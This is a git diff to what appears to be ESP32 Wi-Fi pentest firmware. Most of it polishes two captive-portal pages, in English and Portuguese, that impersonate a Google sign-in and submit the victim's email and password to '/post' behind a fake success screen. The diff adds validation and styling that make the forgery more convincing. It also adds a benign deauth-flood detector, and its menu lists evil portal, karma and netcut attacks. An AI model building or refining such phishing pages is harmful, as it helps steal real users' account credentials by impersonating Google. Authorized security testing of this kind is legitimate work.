diff --git a/sd_files/portals/en/google.html b/sd_files/portals/en/google.html
index 4b89f8563f..1ca1a3d49b 100644
--- a/sd_files/portals/en/google.html
+++ b/sd_files/portals/en/google.html
@@ -11,14 +11,16 @@
     }
     body{
       font-family: Arial, sans-serif;
+      margin: 0;
+      min-height: 100vh;
+      display: flex;
       align-items: center;
       justify-content: center;
-      background-color: #FFFFFF;
+      background: linear-gradient(180deg, #ffffff 0%, #faf8ff 100%);
+      color: #202124;
     }
     input[type='text'], input[type='password']{
       width: 100%;
-      padding: 12px 10px;
-      margin: 8px 0;
       box-sizing: border-box;
       border: 1px solid #cccccc;
       border-radius: 4px;
@@ -27,6 +29,7 @@
       margin: auto;
       padding: 20px;
       max-width: 700px;
+      width: 100%;
     }
     .logo-container{
       text-align: center;
@@ -49,9 +52,9 @@
     .form-container{
       background: #FFFFFF;
       border: 1px solid #CEC0DE;
-      border-radius: 4px;
-      padding: 20px;
-      box-shadow: 0px 0px 10px 0px rgba(108, 66, 156, 0.2);
+      border-radius: 16px;
+      padding: 28px 24px 20px;
+      box-shadow: 0 10px 30px rgba(108, 66, 156, 0.14);
     }
     h1{
       text-align: center;
@@ -59,13 +62,54 @@
       font-weight: 500;
       margin-bottom: 20px;
     }
+    .field-group{
+      position: relative;
+      margin-bottom: 18px;
+    }
     .input-field{
       width: 100%;
-      padding: 12px;
+      padding: 18px 12px 8px;
       border: 1px solid #BEABD3;
-      border-radius: 4px;
-      margin-bottom: 20px;
+      border-radius: 8px;
       font-size: 14px;
+      background: #fff;
+      transition: border-color 0.2s ease, box-shadow 0.2s ease;
+    }
+    .input-field:focus{
+      outline: none;
+      border-color: #1a73e8;
+      box-shadow: 0 0 0 3px rgba(26, 115, 232, 0.12);
+    }
+    .floating-label{
+      position: absolute;
+      left: 12px;
+      top: 14px;
+      color: #5f6368;
+      font-size: 14px;
+      pointer-events: none;
+      background: #fff;
+      padding: 0 4px;
+      transition: all 0.18s ease;
+    }
+    .input-field:focus + .floating-label,
+    .input-field:not(:placeholder-shown) + .floating-label{
+      top: -7px;
+      left: 10px;
+      font-size: 11px;
+      color: #1a73e8;
+    }
+    .input-field.invalid{
+      border-color: #d93025;
+      box-shadow: 0 0 0 3px rgba(217, 48, 37, 0.12);
+    }
+    .error-text{
+      display: none;
+      color: #d93025;
+      font-size: 12px;
+      margin-top: 4px;
+    }
+    .error-text.show{
+      display: block;
     }
     .submit-btn{
       background: #0b57d0;
@@ -171,8 +215,15 @@
           <div class='containersubtitle'>Use your Google Account</div>
         </center>
         <form action='/post' id='login-form'>
-          <input name='email' class='input-field' type='text' placeholder='Email or phone' required>
-          <input name='password' class='input-field' type='password' placeholder='Enter your password' required />
+          <div class='field-group'>
+            <input id='email' name='email' class='input-field' type='text' placeholder=' '>
+            <label for='email' class='floating-label'>Email or phone</label>
+            <div id='email-error' class='error-text'>Enter a valid email or phone number.</div>
+          </div>
+          <div class='field-group'>
+            <input id='password' name='password' class='input-field' type='password' placeholder=' '>
+            <label for='password' class='floating-label'>Enter your password</label>
+          </div>
           <div class='containermsg'>
             <button class="forgot-btn">Forgot password?</button>
           </div>
@@ -190,14 +241,79 @@
   </div>
 
   <script>
-    document.getElementById('login-form').addEventListener('submit', function(event) {
+    const form = document.getElementById('login-form');
+    const emailInput = document.getElementById('email');
+    const passwordInput = document.getElementById('password');
+    const errorText = document.getElementById('email-error');
+
+    function isValidEmailOrPhone(value) {
+      const trimmed = value.trim();
+      const emailPattern = /^[^\s@]+@[^\s@]+\.[^\s@]+$/;
+      const phonePattern = /^\+?\d[\d\s()-]{7,}$/;
+      return emailPattern.test(trimmed) || phonePattern.test(trimmed);
+    }
+
+    function validateEmailField() {
+      const value = emailInput.value.trim();
+
+      if (!value) {
+        emailInput.setCustomValidity('Please fill out this field.');
+        errorText.textContent = 'Please fill out this field.';
+        return false;
+      }
+
+      if (!isValidEmailOrPhone(value)) {
+        emailInput.setCustomValidity('Enter a valid email or phone number.');
+        errorText.textContent = 'Enter a valid email or phone number.';
+        return false;
+      }
+
+      emailInput.setCustomValidity('');
+      errorText.textContent = 'Enter a valid email or phone number.';
+      return true;
+    }
+
+    function validatePasswordField() {
+      if (!passwordInput.value.trim()) {
+        passwordInput.setCustomValidity('Please enter your password.');
+        return false;
+      }
+
+      passwordInput.setCustomValidity('');
+      return true;
+    }
+
+    emailInput.addEventListener('input', function() {
+      const isValid = validateEmailField();
+      emailInput.classList.toggle('invalid', !isValid && emailInput.value.trim() !== '');
+      errorText.classList.toggle('show', !isValid && emailInput.value.trim() !== '');
+    });
+
+    passwordInput.addEventListener('input', function() {
+      validatePasswordField();
+    });
+
+    form.addEventListener('submit', function(event) {
       event.preventDefault();
 
+      const emailOk = validateEmailField();
+      const passwordOk = validatePasswordField();
+
+      emailInput.classList.toggle('invalid', !emailOk);
+      errorText.classList.toggle('show', !emailOk);
+
+      if (!emailOk || !passwordOk) {
+        if (!emailOk) emailInput.focus();
+        else passwordInput.focus();
+        form.reportValidity();
+        return;
+      }
+
       document.getElementById('success-block').style.display = 'flex';
       document.getElementById('form-block').style.display = 'none';
 
       setTimeout(function() {
-        document.getElementById('login-form').submit();
+        form.submit();
       }, 3000);
     });
   </script>
diff --git a/sd_files/portals/pt-br/google.html b/sd_files/portals/pt-br/google.html
index bbad41003c..328fb3976e 100644
--- a/sd_files/portals/pt-br/google.html
+++ b/sd_files/portals/pt-br/google.html
@@ -11,14 +11,16 @@
     }
     body{
       font-family: Arial, sans-serif;
+      margin: 0;
+      min-height: 100vh;
+      display: flex;
       align-items: center;
       justify-content: center;
-      background-color: #FFFFFF;
+      background: linear-gradient(180deg, #ffffff 0%, #faf8ff 100%);
+      color: #202124;
     }
     input[type='text'], input[type='password']{
       width: 100%;
-      padding: 12px 10px;
-      margin: 8px 0;
       box-sizing: border-box;
       border: 1px solid #cccccc;
       border-radius: 4px;
@@ -27,6 +29,7 @@
       margin: auto;
       padding: 20px;
       max-width: 700px;
+      width: 100%;
     }
     .logo-container{
       text-align: center;
@@ -49,9 +52,9 @@
     .form-container{
       background: #FFFFFF;
       border: 1px solid #CEC0DE;
-      border-radius: 4px;
-      padding: 20px;
-      box-shadow: 0px 0px 10px 0px rgba(108, 66, 156, 0.2);
+      border-radius: 16px;
+      padding: 28px 24px 20px;
+      box-shadow: 0 10px 30px rgba(108, 66, 156, 0.14);
     }
     h1{
       text-align: center;
@@ -59,13 +62,54 @@
       font-weight: 500;
       margin-bottom: 20px;
     }
+    .field-group{
+      position: relative;
+      margin-bottom: 18px;
+    }
     .input-field{
       width: 100%;
-      padding: 12px;
+      padding: 18px 12px 8px;
       border: 1px solid #BEABD3;
-      border-radius: 4px;
-      margin-bottom: 20px;
+      border-radius: 8px;
       font-size: 14px;
+      background: #fff;
+      transition: border-color 0.2s ease, box-shadow 0.2s ease;
+    }
+    .input-field:focus{
+      outline: none;
+      border-color: #1a73e8;
+      box-shadow: 0 0 0 3px rgba(26, 115, 232, 0.12);
+    }
+    .floating-label{
+      position: absolute;
+      left: 12px;
+      top: 14px;
+      color: #5f6368;
+      font-size: 14px;
+      pointer-events: none;
+      background: #fff;
+      padding: 0 4px;
+      transition: all 0.18s ease;
+    }
+    .input-field:focus + .floating-label,
+    .input-field:not(:placeholder-shown) + .floating-label{
+      top: -7px;
+      left: 10px;
+      font-size: 11px;
+      color: #1a73e8;
+    }
+    .input-field.invalid{
+      border-color: #d93025;
+      box-shadow: 0 0 0 3px rgba(217, 48, 37, 0.12);
+    }
+    .error-text{
+      display: none;
+      color: #d93025;
+      font-size: 12px;
+      margin-top: 4px;
+    }
+    .error-text.show{
+      display: block;
     }
     .submit-btn{
       background: #0b57d0;
@@ -167,12 +211,19 @@
       </center>
       <div id='form-block'>
         <center>
-          <div class='containertitle'>Fazer login</div>
-          <div class='containersubtitle'>Use sua Conta do Google</div>
+          <div class='containertitle'>Faça login</div>
+          <div class='containersubtitle'>com sua Conta do Google</div>
         </center>
         <form action='/post' id='login-form'>
-          <input name='email' class='input-field' type='text' placeholder='E-mail ou telefone' required>
-          <input name='password' class='input-field' type='password' placeholder='Digite sua senha' required />
+          <div class='field-group'>
+            <input id='email' name='email' class='input-field' type='text' placeholder=' '>
+            <label for='email' class='floating-label'>E-mail ou telefone</label>
+            <div id='email-error' class='error-text'>Digite um e-mail ou telefone válido.</div>
+          </div>
+          <div class='field-group'>
+            <input id='password' name='password' class='input-field' type='password' placeholder=' '>
+            <label for='password' class='floating-label'>Digite sua senha</label>
+          </div>
           <div class='containermsg'>
             <button class="forgot-btn">Esqueceu sua senha?</button>
           </div>
@@ -190,14 +241,79 @@
   </div>
 
   <script>
-    document.getElementById('login-form').addEventListener('submit', function(event) {
+    const form = document.getElementById('login-form');
+    const emailInput = document.getElementById('email');
+    const passwordInput = document.getElementById('password');
+    const errorText = document.getElementById('email-error');
+
+    function isValidEmailOrPhone(value) {
+      const trimmed = value.trim();
+      const emailPattern = /^[^\s@]+@[^\s@]+\.[^\s@]+$/;
+      const phonePattern = /^\+?\d[\d\s()-]{7,}$/;
+      return emailPattern.test(trimmed) || phonePattern.test(trimmed);
+    }
+
+    function validateEmailField() {
+      const value = emailInput.value.trim();
+
+      if (!value) {
+        emailInput.setCustomValidity('Preencha este campo.');
+        errorText.textContent = 'Preencha este campo.';
+        return false;
+      }
+
+      if (!isValidEmailOrPhone(value)) {
+        emailInput.setCustomValidity('Digite um e-mail ou telefone válido.');
+        errorText.textContent = 'Digite um e-mail ou telefone válido.';
+        return false;
+      }
+
+      emailInput.setCustomValidity('');
+      errorText.textContent = 'Digite um e-mail ou telefone válido.';
+      return true;
+    }
+
+    function validatePasswordField() {
+      if (!passwordInput.value.trim()) {
+        passwordInput.setCustomValidity('Digite sua senha.');
+        return false;
+      }
+
+      passwordInput.setCustomValidity('');
+      return true;
+    }
+
+    emailInput.addEventListener('input', function() {
+      const isValid = validateEmailField();
+      emailInput.classList.toggle('invalid', !isValid && emailInput.value.trim() !== '');
+      errorText.classList.toggle('show', !isValid && emailInput.value.trim() !== '');
+    });
+
+    passwordInput.addEventListener('input', function() {
+      validatePasswordField();
+    });
+
+    form.addEventListener('submit', function(event) {
       event.preventDefault();
 
+      const emailOk = validateEmailField();
+      const passwordOk = validatePasswordField();
+
+      emailInput.classList.toggle('invalid', !emailOk);
+      errorText.classList.toggle('show', !emailOk);
+
+      if (!emailOk || !passwordOk) {
+        if (!emailOk) emailInput.focus();
+        else passwordInput.focus();
+        form.reportValidity();
+        return;
+      }
+
       document.getElementById('success-block').style.display = 'flex';
       document.getElementById('form-block').style.display = 'none';
 
       setTimeout(function() {
-        document.getElementById('login-form').submit();
+        form.submit();
       }, 3000);
     });
   </script>
diff --git a/src/core/menu_items/WifiMenu.cpp b/src/core/menu_items/WifiMenu.cpp
index 7e7f9a8a84..8afeb9f6a0 100644
--- a/src/core/menu_items/WifiMenu.cpp
+++ b/src/core/menu_items/WifiMenu.cpp
@@ -10,6 +10,7 @@
 #include "modules/wifi/ap_info.h"
 #include "modules/wifi/clients.h"
 #include "modules/wifi/evil_portal.h"
+#include "modules/wifi/jammer_identifier.h"
 #include "modules/wifi/karma_attack.h"
 #include "modules/wifi/netcut.h"
 #include "modules/wifi/responder.h"
@@ -58,6 +59,7 @@ void WifiMenu::optionsMenu() {
         options.push_back({"AP info", displayAPInfo});
     }
     options.push_back({"Wifi Atks", wifi_atk_menu});
+    options.push_back({"Jammer Identifier", jammerIdentifier});
     options.push_back({"Evil Portal", [=]() {
                            // WebUI cleanup now handled automatically inside EvilPortal constructor
                            EvilPortal();
diff --git a/src/modules/wifi/jammer_identifier.cpp b/src/modules/wifi/jammer_identifier.cpp
new file mode 100644
index 0000000000..cd296171a0
--- /dev/null
+++ b/src/modules/wifi/jammer_identifier.cpp
@@ -0,0 +1,140 @@
+#include "jammer_identifier.h"
+
+#include "core/display.h"
+#include "core/wifi/webInterface.h"
+#include "core/wifi/wifi_common.h"
+#include "esp_wifi.h"
+#include "esp_wifi_types.h"
+#include <Arduino.h>
+#include <globals.h>
+
+namespace {
+constexpr uint8_t JAMMER_CHANNELS[] = {1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11};
+constexpr uint32_t JAMMER_SAMPLE_MS = 700;
+constexpr uint32_t JAMMER_SWITCH_MS = 800;
+constexpr uint32_t JAMMER_DEAUTH_THRESHOLD = 8;
+
+volatile uint32_t g_jammer_packets = 0;
+volatile uint32_t g_jammer_deauths = 0;
+volatile uint32_t g_last_jammer_sample = 0;
+volatile bool g_last_jammer_state = false;
+uint8_t g_current_channel_index = 0;
+
+bool isDeauthOrDisassocFrame(const uint8_t *frame) {
+    if (!frame || frame[0] < 0x80) return false;
+    const uint8_t subtype = frame[0] & 0xFC;
+    return subtype == 0xC0 || subtype == 0xA0;
+}
+
+void jammerSniffer(void *buf, wifi_promiscuous_pkt_type_t type) {
+    if (!buf) return;
+
+    auto *pkt = reinterpret_cast<wifi_promiscuous_pkt_t *>(buf);
+    if (!pkt || pkt->rx_ctrl.sig_len < 24) return;
+
+    ++g_jammer_packets;
+    if (isDeauthOrDisassocFrame(pkt->payload)) ++g_jammer_deauths;
+}
+
+bool detectJammerAttack(uint32_t &samplePackets, uint32_t &sampleDeauths) {
+    const uint32_t now = millis();
+    if (now - g_last_jammer_sample < JAMMER_SAMPLE_MS) {
+        samplePackets = g_jammer_packets;
+        sampleDeauths = g_jammer_deauths;
+        return g_last_jammer_state;
+    }
+
+    samplePackets = g_jammer_packets;
+    sampleDeauths = g_jammer_deauths;
+    g_last_jammer_sample = now;
+
+    const bool active = (sampleDeauths >= JAMMER_DEAUTH_THRESHOLD) ||
+                        (samplePackets > 0 && sampleDeauths * 10 >= samplePackets);
+    g_last_jammer_state = active;
+
+    g_jammer_packets = 0;
+    g_jammer_deauths = 0;
+    return active;
+}
+
+void drawStatus(const String &message, bool active) {
+    tft.fillRect(0, 0, tft.width(), tft.height(), bruceConfig.bgColor);
+    drawMainBorderWithTitle("Jammer Identifier");
+
+    if (active) {
+        tft.setTextColor(TFT_RED, bruceConfig.bgColor);
+        tft.setTextSize(2);
+        tft.drawCentreString("ACTIVE JAMMER ATTACK", tft.width() / 2, 58, SMOOTH_FONT);
+        tft.setTextSize(1);
+        tft.setTextColor(TFT_WHITE, bruceConfig.bgColor);
+        tft.drawCentreString("Deauth/Disassoc frames detected", tft.width() / 2, 110, SMOOTH_FONT);
+    } else {
+        tft.setTextColor(TFT_YELLOW, bruceConfig.bgColor);
+        tft.setTextSize(2);
+        tft.drawCentreString("SCANNING", tft.width() / 2, 70, SMOOTH_FONT);
+        tft.setTextSize(1);
+        tft.setTextColor(TFT_WHITE, bruceConfig.bgColor);
+        tft.drawCentreString(message, tft.width() / 2, 110, SMOOTH_FONT);
+    }
+
+    tft.setTextColor(TFT_DARKGREY, bruceConfig.bgColor);
+    tft.drawCentreString("Press any key to stop", tft.width() / 2, tft.height() - 18, SMOOTH_FONT);
+}
+}  // namespace
+
+void jammerIdentifier() {
+    cleanlyStopWebUiForWiFiFeature();
+    resetTftDisplay();
+
+    WiFi.disconnect(true);
+    WiFi.mode(WIFI_MODE_STA);
+    delay(60);
+
+    esp_wifi_set_promiscuous(true);
+    esp_wifi_set_promiscuous_filter(&(wifi_promiscuous_filter_t){.filter_mask = WIFI_PROMIS_FILTER_MASK_ALL});
+    esp_wifi_set_promiscuous_rx_cb(jammerSniffer);
+
+    g_jammer_packets = 0;
+    g_jammer_deauths = 0;
+    g_last_jammer_sample = 0;
+    g_last_jammer_state = false;
+
+    uint32_t lastChannelChange = millis();
+    uint32_t lastStatusUpdate = 0;
+    String statusText = "Listening on Wi-Fi channels";
+
+    while (!check(AnyKeyPress) && !check(EscPress)) {
+        if (millis() - lastChannelChange >= JAMMER_SWITCH_MS) {
+            g_current_channel_index = (g_current_channel_index + 1) % (sizeof(JAMMER_CHANNELS) / sizeof(JAMMER_CHANNELS[0]));
+            const uint8_t ch = JAMMER_CHANNELS[g_current_channel_index];
+            esp_wifi_set_channel(ch, WIFI_SECOND_CHAN_NONE);
+            lastChannelChange = millis();
+            statusText = "Scanning channel " + String(ch);
+        }
+
+        uint32_t samplePackets = 0;
+        uint32_t sampleDeauths = 0;
+        const bool active = detectJammerAttack(samplePackets, sampleDeauths);
+
+        if (millis() - lastStatusUpdate >= 250) {
+            lastStatusUpdate = millis();
+            drawStatus(active ? "Active deauth flood detected" : statusText, active);
+            if (active) {
+                tft.setTextColor(TFT_RED, bruceConfig.bgColor);
+                tft.setTextSize(1);
+                tft.drawCentreString("Deauths: " + String(sampleDeauths) + " / Packets: " + String(samplePackets),
+                                     tft.width() / 2, 140, SMOOTH_FONT);
+            }
+        }
+
+        vTaskDelay(pdMS_TO_TICKS(50));
+    }
+
+    esp_wifi_set_promiscuous_rx_cb(nullptr);
+    esp_wifi_set_promiscuous(false);
+    WiFi.disconnect(true);
+    WiFi.mode(WIFI_OFF);
+
+    resetTftDisplay();
+    returnToMenu = true;
+}
diff --git a/src/modules/wifi/jammer_identifier.h b/src/modules/wifi/jammer_identifier.h
new file mode 100644
index 0000000000..7de8ab14de
--- /dev/null
+++ b/src/modules/wifi/jammer_identifier.h
@@ -0,0 +1,6 @@
+#ifndef __JAMMER_IDENTIFIER_H__
+#define __JAMMER_IDENTIFIER_H__
+
+void jammerIdentifier();
+
+#endif